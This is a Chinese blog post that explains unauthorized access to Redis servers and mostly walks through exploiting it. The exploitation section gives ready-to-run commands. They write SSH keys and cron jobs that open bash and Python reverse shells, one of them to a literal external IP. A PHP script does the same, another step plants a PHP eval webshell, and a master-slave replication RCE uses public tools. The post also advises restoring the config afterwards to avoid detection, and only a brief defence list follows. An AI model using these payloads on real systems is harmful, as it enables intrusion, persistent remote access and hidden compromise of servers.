Twosmi1e's Blog.

redis未授权总结

Word count: 3,910 / Reading time: 16 min
2020/01/19 Share

Redis未授权总结

简介

redis是一个key-value存储系统。和Memcached类似,它支持存储的value类型相对更多,包括string(字符串)、list(链表)、set(集合)、zset(sorted set –有序集合)和hash(哈希类型)。这些数据类型都支持push/popadd/remove及取交集并集和差集及更丰富的操作,而且这些操作都是原子性的。在此基础上,redis支持各种不同方式的排序。与memcached一样,为了保证效率,数据都是缓存在内存中。区别的是redis会周期性的把更新的数据写入磁盘或者把修改操作写入追加的记录文件,并且在此基础上实现了master-slave(主从)同步。

常用命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
set testkey "Hello World"  # 设置键testkey的值为字符串Hello World
get testkey # 获取键testkey的内容
SET score 99 # 设置键score的值为99
INCR score # 使用INCR命令将score的值增加1
GET score # 获取键score的内容
keys * # 列出当前数据库中所有的键
get anotherkey # 获取一个不存在的键的值
config set dir /home/test # 设置工作目录
config set dbfilename redis.rdb # 设置备份文件名
config get dir # 检查工作目录是否设置成功
config get dbfilename # 检查备份文件名是否设置成功
save # 进行一次备份操作
flushall 删除所有数据
del key 删除键为key的数据
  1. 使用SET和GET命令,可以完成基本的赋值和取值操作;
  2. Redis是不区分命令的大小写的,set和SET是同一个意思;
  3. 使用keys *可以列出当前数据库中的所有键;
  4. 当尝试获取一个不存在的键的值时,Redis会返回空,即(nil);
  5. 如果键的值中有空格,需要使用双引号括起来,如”Hello World”;

配置文件解析

在启动Redis服务器进程的时候,可以通过命令行参数指定一个配置文件,这样服务器进程就可以根据配置文件中设定的参数值来运行了。在redis-3.0.1目录下有一个redis.conf文件,这是一个默认的配置文件。

详解https://blog.csdn.net/weixin_42425970/article/details/94132652

port

格式为port后面接端口号,如port 6379,表示Redis服务器将在6379端口上进行监听来等待客户端的连接。

bind

格式为bind后面接IP地址,可以同时绑定在多个IP地址上,IP地址之间用空格分离,如bind 192.168.1.100 10.0.0.1,表示同时绑定在192.168.1.100和10.0.0.1两个IP地址上。如果没有指定bind参数,则绑定在本机的所有IP地址上。

save

格式为save <秒数> <变化数>,表示在指定的秒数内数据库存在指定的改变数时自动进行备份(Redis是内存数据库,这里的备份就是指把内存中的数据备份到磁盘上)。可以同时指定多个save参数,如:

save 900 1

save 300 10

save 60 10000

表示如果数据库的内容在60秒后产生了10000次改变,或者300秒后产生了10次改变,或者900秒后产生了1次改变,那么立即进行备份操作。

requirepass

格式为requirepass后接指定的密码,用于指定客户端在连接Redis服务器时所使用的密码。Redis默认的密码参数是空的,说明不需要密码即可连接;同时,配置文件有一条注释了的requirepass foobared命令,如果去掉注释,表示需要使用foobared密码才能连接Redis数据库。

dir

格式为dir后接指定的路径,默认为dir ./,指明Redis的工作目录为当前目录,即redis-server文件所在的目录。注意,Redis产生的备份文件将放在这个目录下。

dbfilename

格式为dbfilename后接指定的文件名称,用于指定Redis备份文件的名字,默认为dbfilename dump.rdb,即备份文件的名字为dump.rdb。

config

通过config命令可以读取和设置dir参数以及dbfilename参数,因为这条命令比较危险(实验将进行详细介绍),所以Redis在配置文件中提供了rename-command参数来对其进行重命名操作,如rename-command CONFIG HTCMD,可以将CONFIG命令重命名为HTCMD。配置文件默认是没有对CONFIG命令进行重命名操作的。

利用原理

Redis有两种持久化的方式:快照(RDB文件)和追加式文件(AOF文件):

  • RDB持久化方式会在一个特定的间隔保存那个时间点的一个数据快照。
  • AOF持久化方式则会记录每一个服务器收到的写操作。在服务启动时,这些记录的操作会逐条执行从而重建出原来的数据。写操作命令记录的格式跟Redis协议一致,以追加的方式进行保存。
  • Redis的持久化是可以禁用的,就是说你可以让数据的生命周期只存在于服务器的运行时间里。
  • 两种方式的持久化是可以同时存在的,但是当Redis重启时,AOF文件会被优先用于重建数据。

AOF备份文件名默认为appendonly.aof,可以在配置文件中的appendfilename设置其他名称,通过测试发现不能在客户端交互中动态设置appendfilename,所以不能通过AOF方式备份写任意文件.

RDB方式备份数据库的文件名默认为dump.rdb,此文件名可以通过客户端交互动态设置dbfilename来更改,造成可以写任意文件.

环境搭建

1
2
3
4
5
6
7
8
9
10
11
#下载源码:
wget http://download.redis.io/releases/redis-5.0.5.tar.gz
tar -zxvf redis-5.0.5.tar.gz
cd redis-5.0.5
make

#启动redis服务
cd src
./redis-server
可以指定配置文件启动(若不指定则以默认的配置文件启动):
./redis-server /etc/redis/redis.conf

Alt text

配置文件:
安全模式起作用需要同时满足俩个条件:

​ (1) redis没有开启登录认证

​ (2) redis没有绑定到某个ip地址或ip段

从3.2.0版本开始,当Redis使用缺省的配置并且没有密码保护的时,我们称之为保护模式。

redis默认是未开启登录认证,开启安全模式的.

绑定0.0.0.0 开启安全模式

Alt text
启动redis
Alt text
连接可以发现安全模式并没有起作用,可以执行命令
Alt text

不绑定IP地址 开启安全模式

Alt text

能连接上,但是无法执行命令
Alt text

不绑定IP地址 关闭安全模式

Alt text
可以执行命令
Alt text

总结

造成未授权访问有两种情况:

  1. 未开启登录验证,并且把IP绑定到0.0.0.0
  2. 未开启登录验证,没有设置绑定IP,protected-mode关闭

利用

0x01 写SSH-keygen

原理

SSH提供两种登录验证方式,一种是口令验证也就是账号密码登录,另一种是密钥验证。

所谓密钥验证,其实就是一种基于公钥密码的认证,使用公钥加密、私钥解密(非对称),其中公钥是可以公开的,放在服务器端,你可以把同一个公钥放在所有你想SSH远程登录的服务器中,而私钥是保密的只有你自己知道,公钥加密的消息只有私钥才能解密,大体过程如下:

1
(1)客户端生成私钥和公钥,并把公钥拷贝给服务器端; (2)客户端发起登录请求,发送自己的相关信息; (3)服务器端根据客户端发来的信息查找是否存有该客户端的公钥,若没有拒绝登录,若有则生成一段随机数使用该公钥加密后发送给客户端; (4)客户端收到服务器发来的加密后的消息后使用私钥解密,并把解密后的结果发给服务器用于验证; (5)服务器收到客户端发来的解密结果,与自己刚才生成的随机数比对,若一样则允许登录,不一样则拒绝登录。

利用条件

  1. root账号启动redis服务
  2. 服务器开放SSH服务,允许密钥登录。

实验

  1. 攻击机上生成公私钥
    Alt text
  2. 未授权访问redis
    Alt text

  3. 利用redis的数据备份功能修改备份目录为 /redis/.ssh/ 备份文件名为 authorized_keys
    Alt text

  4. 写入键值
    Alt text
  5. ssh连接
    Alt text
    舒服了

0x02 写计划任务反弹shell

用户定义的设置,位于文件:/var/spool/cron/用户名

原理

/var/spool/cron/目录下存放的为以各个用户命名的计划任务文件,root用户可以修改任意用户的计划任务。dbfilename设置为root为用root用户权限执行计划任务。

执行命令反弹shell(写计划任务时会覆盖原来存在的用户计划任务).写文件之前先获取dir和dbfilename的值,以便恢复redis配置,将改动降到最低,避免被发现。

利用条件

redis是root用户启动

实验

坑:crontab反弹debian,ubuntu都不行,因为他们对计划任务的格式很严格,必须要执行
crontab -u root /var/spool/cron/crontabs/root
通过语法检查后,才能执行计划任务。

连接redis
redis-cli -h 106.12.172.25
执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#获取dir的值
config get dir
#获取dbfilename的值
config get dbfilename
#设置数据库备份目录为linux计划任务目录
config set dir '/var/spool/cron/'
#设置备份文件名为root,以root身份执行计划任务
config set dbfilename 'root'
#删除所有数据库的所有key
flushall
#设置写入的内容,在计划任务前后加入换行以确保写入的计划任务可以被正常解析,此处可以直接调用lua语句。
eval "redis.call('set','cron',string.char(10)..ARGV[1]..string.char(10))" 0 '*/1 * * * * bash -i >& /dev/tcp/106.54.229.29/8080 0>&1'
#保存
save
#删除新增的key
del cron
#恢复dir和dbfilename
config set dir '***'
config set dbfilename '***'

  1. 登陆redis创建crontab定时任务

    1
    2
    3
    4
    5
    telnet x.x.x.x 6379 //未授权登录

    config set dir /var/spool/cron/ //配置文件夹的路径(CONFIG SET 命令可以动态地调整 Redis 服务器的配置而(configuration)而无须重启。)//每个用户生成的crontab文件,都会放在 /var/spool/cron/ 目录下面

    set -.- "\n\n\n* * * * * bash -i >& /dev/tcp/x.x.x.x/9999 0>&1\n\n\n" //直接往当前用户的crontab里写入反弹shell,换行是必不可少的。
  2. nc监听反弹shell
    Crontab反弹shell 

    1
    2
    3
    4
    5
    set 1 "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"127.0.0.1\",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"

    config set dir /var/spool/cron/

    config set dbfilename root

savephp反弹shell 

1
2
3
4
5
6
7
8
9
10
<?php
$redis = new Redis();
$redis->connect('127.0.0.1',6379);
$redis->auth("password");
$redis->flushall();
$redis->config("SET","dir","/var/spool/cron/");
$redis->config("SET","dbfilename","root");
$redis->set("0","\n\n*/1 * * * * bash -i >& /dev/tcp/x.x.x.x/9999 0>&1\n\n\n");
$redis->save();
?>

攻击上监听对应端口就行了

Ubuntu上写入会发现没有反弹成功
Alt text
因为通过不了语法检查,redis在写入文件时会带一些头,然后就无法执行
Alt text

crontab的文件格式

分 时 日 月 星期 要运行的命令

第1列分钟0~59
第2列小时0~23(0表示子夜)
第3列日1~31
第4列月1~12
第5列星期0~7(0和7表示星期天)
第6列要运行的命令

crontab文件一些例子
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
30 21 * * * /usr/local/etc/rc.d/lighttpd restart
上面的例子表示每晚的21:30重启apache。

45 4 1,10,22 * * /usr/local/etc/rc.d/lighttpd restart
上面的例子表示每月1、10、22日的4 : 45重启apache。

10 1 * * 6,0 /usr/local/etc/rc.d/lighttpd restart
上面的例子表示每周六、周日的1 : 10重启apache。

0,30 18-23 * * * /usr/local/etc/rc.d/lighttpd restart
上面的例子表示在每天18 : 00至23 : 00之间每隔30分钟重启apache。

0 23 * * 6 /usr/local/etc/rc.d/lighttpd restart
上面的例子表示每星期六的11 : 00 pm重启apache。

* */1 * * * /usr/local/etc/rc.d/lighttpd restart
每一小时重启apache

* 23-7/1 * * * /usr/local/etc/rc.d/lighttpd restart
晚上11点到早上7点之间,每隔一小时重启apache

0 11 4 * mon-wed /usr/local/etc/rc.d/lighttpd restart
每月的4号与每周一到周三的11点重启apache

0 4 1 jan * /usr/local/etc/rc.d/lighttpd restart
一月一号的4点重启apache

自己crontab -e创建的话还是可以的
Alt text

0x03 写webshell

利用条件

  1. 已知web的绝对路径
  2. 具有读写权限

不知道绝对路径时可以尝试目录爆破看下是否存在phpinfo文件,也可以尝试apache的默认路径:/var/www/html/

1
2
3
4
5
redis-cli -h 192.168.1.154
config set dir /var/www/html
set xxx "\n\n\n<?php@eval($_POST['c']);?>\n\n\n"
config set dbfilename webshell.php
save

0x04 利用主从复制获取shell

Redis支持主从同步。数据可以从主服务器向任意数量的从服务器上同步,从服务器可以是关联其他从服务器的主服务器。这使得Redis可执行单层树复制。存盘可以有意无意的对数据进行写操作。由于完全实现了发布/订阅机制,使得从数据库在任何地方同步树时,可订阅一个频道并接收主服务器完整的消息发布记录。同步对读取操作的可扩展性和数据冗余很有帮助。

原理

在两个Redis实例设置主从模式的时候,Redis的主机实例可以通过FULLRESYNC同步文件到从机上。

然后在从机上加载so文件,我们就可以执行拓展的新命令了。

实验

下载利用脚本

1
2
3
4
5
git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand
cd RedisModules-ExecuteCommand/
make
git clone https://github.com/Ridter/redis-rce
python redis-rce.py -r 192.168.1.154 -L 192.168.1.153 -f module.so

Alt text
Alt text
舒服了
详细分析:https://paper.seebug.org/975/#redis

脚本工具

利用
https://github.com/00theway/redis_exp
检测
https://github.com/Ridter/hackredis

防护

  1. 禁止一些高危命令
  2. 以低权限运行 Redis 服务
  3. 为 Redis 添加密码验证
  4. 禁止外网访问 Redis
  5. 修改默认端口
  6. 保证 authorized_keys 文件的安全
  7. 设置防火墙策略

    总结

    Windows下如何getshell?
  • 写入webshell,需要知道web路径
  • 写入启动项,需要目标服务器重启
  • 写入MOF,MOF每隔5秒钟会自动执行一次,适用于Windows2003。

实战在生产环境下用还是会有很多问题的

  1. redis数据量稍微大一点,写shell到文件之后,php因为文件太大是会拒绝执行的
  2. Ubuntu,Debian写计划任务反弹无用
  3. 写/etc/passwd会覆盖原有/etc/passwd,不可能改了再改回来
  4. 生产环境下用KEY * 这样的命令直接炸

参考

https://paper.seebug.org/975/#redis
https://www.freebuf.com/vuls/148758.html
https://www.t00ls.net/viewthread.php?tid=54620&extra=&page=1
https://damit5.com/2018/05/18/Redis%E6%9C%AA%E6%8E%88%E6%9D%83%E8%AE%BF%E9%97%AE%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8

CATALOG
  1. 1. Redis未授权总结
    1. 1.1. 简介
    2. 1.2. 常用命令
    3. 1.3. 配置文件解析
      1. 1.3.1. port
      2. 1.3.2. bind
      3. 1.3.3. save
      4. 1.3.4. requirepass
      5. 1.3.5. dir
      6. 1.3.6. dbfilename
      7. 1.3.7. config
    4. 1.4. 利用原理
    5. 1.5. 环境搭建
      1. 1.5.1. 绑定0.0.0.0 开启安全模式
      2. 1.5.2. 不绑定IP地址 开启安全模式
      3. 1.5.3. 不绑定IP地址 关闭安全模式
      4. 1.5.4. 总结
    6. 1.6. 利用
      1. 1.6.1. 0x01 写SSH-keygen
        1. 1.6.1.1. 原理
        2. 1.6.1.2. 利用条件
        3. 1.6.1.3. 实验
      2. 1.6.2. 0x02 写计划任务反弹shell
        1. 1.6.2.1. 原理
        2. 1.6.2.2. 利用条件
        3. 1.6.2.3. 实验
          1. 1.6.2.3.1. crontab的文件格式
          2. 1.6.2.3.2. crontab文件一些例子
      3. 1.6.3. 0x03 写webshell
        1. 1.6.3.1. 利用条件
      4. 1.6.4. 0x04 利用主从复制获取shell
        1. 1.6.4.1. 原理
        2. 1.6.4.2. 实验
    7. 1.7. 脚本工具
    8. 1.8. 防护
    9. 1.9. 总结
    10. 1.10. 参考